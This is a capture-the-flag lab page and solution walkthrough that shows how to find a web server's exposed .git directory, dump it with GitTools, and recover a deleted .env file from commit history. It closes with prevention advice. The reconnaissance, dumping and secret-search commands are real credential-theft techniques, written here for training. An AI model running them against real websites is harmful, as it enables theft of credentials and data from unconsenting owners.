Avatar

Labs / Git Secrets Hunter

  • Daily Challenge
  • Released 20 Aug 2025

🔍 Can you uncover the secrets hidden in this developer's Git history?

A careless developer left their entire Git repository exposed on the web server. 💻 While the current code looks clean, the commit history tells a different story filled with accidentally committed secrets, API keys, and sensitive configuration data. Can you dig through the version control archaeology to uncover what they tried to hide? 🕵️‍♂️ This challenge will teach you essential Git forensics techniques used by security professionals worldwide. 🎯

1
Flags
1
Points
Daily Challenge
Solution Available
Pro Exclusive
Start Lab Environment
~1-2 min setup
AWS dedicated
Private instance
Industry standard
Daily Challenge

Git Secrets Hunter - Complete Solution Walkthrough

Understanding Git Repository Exposure

Exposed Git repositories occur when developers accidentally deploy their .git directory to production servers or when repositories are misconfigured with public access. Even when sensitive files are removed from the current working directory, they often remain accessible in the Git history, making them recoverable through various Git forensics techniques.

Step 1: Initial Repository Discovery

  1. Access the website: Navigate to the TechFlow Solutions website and explore the corporate interface
  2. Check for Git exposure: Look for signs of an exposed Git repository
  3. Download the repository: If you find an exposed .git directory, download it for analysis
# Common Git exposure checks:
curl -I http://<target-ip>/.git/
curl -I http://<target-ip>/.git/config
curl -I http://<target-ip>/.git/HEAD

# Download tools like git-dumper or GitTools can help:
git clone https://github.com/internetwache/GitTools.git
./GitTools/Dumper/gitdumper.sh http://<target-ip>/.git/ ./git-repo
  1. Verify repository structure: Confirm you have a valid Git repository with commit history

Step 2: Basic Repository Analysis

  1. Examine current files: Start by exploring the current repository state
# Navigate to the repository
cd git-repo

# Check current files
ls -la

# View repository status
git status

# Check current branch
git branch
  1. Review commit history: Examine the Git log for interesting commits
# View commit history
git log --oneline

# Detailed commit history
git log --stat

# Show all commits with file changes
git log --name-status
  1. Identify suspicious commits: Look for commits mentioning sensitive information
Key Insight: Pay attention to commits like "Add deployment script and environment configuration" or "Remove sensitive environment file" - these often indicate accidentally committed secrets.

Step 3: Investigating Deleted Files

  1. Find deleted files: Look for files that were added and then removed
# Show files that were deleted
git log --diff-filter=D --summary

# Show all file operations (add, modify, delete)
git log --name-status --oneline
  1. Examine specific commits: Investigate the commit that added environment configuration
# Find the commit hash for environment configuration
git log --grep="environment"

# Show the specific commit (replace COMMIT_HASH with actual hash)
git show 9a1e71a

# Alternative: Show the commit that added .env
git log --follow -- .env
  1. Recover deleted content: Extract the contents of the deleted .env file
# Show the .env file from the commit where it was added
git show 9a1e71a:.env

# Alternative method using commit reference
git show HEAD~2:.env

Step 4: Flag Extraction

  1. Examine the .env file contents: The deleted .env file contains the flag
# Extract and view the .env file
git show 9a1e71a:.env

# Look for the FLAG variable
git show 9a1e71a:.env | grep FLAG
  1. Flag location: The flag is stored in the FLAG environment variable
Flag Found: The flag is a UUID format string found in the FLAG variable
Location: FLAG variable in the deleted .env file from commit 9a1e71a

Step 5: Alternative Discovery Methods

Method 1: Search All Commits for Patterns

# Search for UUID patterns in all commits
git log -p | grep -E "[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}"

# Search for "flag" keyword in all commits
git log -p | grep -i flag

# Search for environment variables
git log -p | grep -E "^[A-Z_]+="

Method 2: Git Object Investigation

# List all Git objects
find .git/objects -type f

# Check for dangling commits or blobs
git fsck --full

# Show all references
git show-ref --heads --tags

Method 3: Reflog Analysis

# View reference log (if available)
git reflog

# Show all branch operations
git reflog --all

Understanding the Attack Vector

  • Developer mistake: The developer accidentally committed a .env file containing sensitive credentials and the challenge flag
  • Incomplete remediation: While the file was removed in a later commit, it remained in the Git history
  • Repository exposure: The .git directory was accessible via the web server
  • Historical persistence: Git's design preserves all historical data, making "deleted" files recoverable
  • Common scenario: This represents a realistic vulnerability found in many web applications

Real-World Impact and Examples

  • Credential exposure: Database passwords, API keys, and authentication tokens
  • Infrastructure secrets: AWS keys, deployment credentials, and internal system access
  • Business data: Customer information, financial data, and proprietary algorithms
  • Security bypasses: Internal URLs, debug endpoints, and administrative interfaces
  • Compliance violations: PCI DSS, GDPR, and other regulatory requirement breaches
  • Historical incidents: Major breaches at companies like Uber, Tesla, and various government agencies

Prevention and Mitigation Strategies

  • Proper .gitignore: Configure .gitignore before committing any code to exclude sensitive files
  • Environment templates: Use .env.example files instead of committing actual environment files
  • Pre-commit hooks: Implement automated scanning for secrets before commits
  • Repository scanning: Use tools like git-secrets, truffleHog, or GitLeaks for continuous monitoring
  • Access controls: Ensure .git directories are not accessible via web servers
  • Secret management: Use dedicated secret management solutions like HashiCorp Vault or AWS Secrets Manager
  • Developer training: Educate development teams on secure coding practices and Git security

Tools and Techniques Summary

  • GitTools: Automated tools for dumping and analyzing exposed Git repositories
  • git-dumper: Specialized tool for downloading exposed .git directories
  • truffleHog: Searches Git repositories for high-entropy strings and secrets
  • GitLeaks: SAST tool for detecting hardcoded secrets in Git repositories
  • git-secrets: AWS tool for preventing secrets from being committed to Git
  • Manual Git commands: git log, git show, git reflog for manual investigation

Challenge Summary

This Git Secrets Hunter challenge demonstrates the critical security risks associated with exposed Git repositories and improper secret management. By simulating a realistic penetration testing scenario, the challenge teaches essential Git forensics techniques used by security professionals to recover sensitive data from version control systems. Understanding these attack vectors is crucial for both offensive security testing and implementing proper defensive measures in development workflows.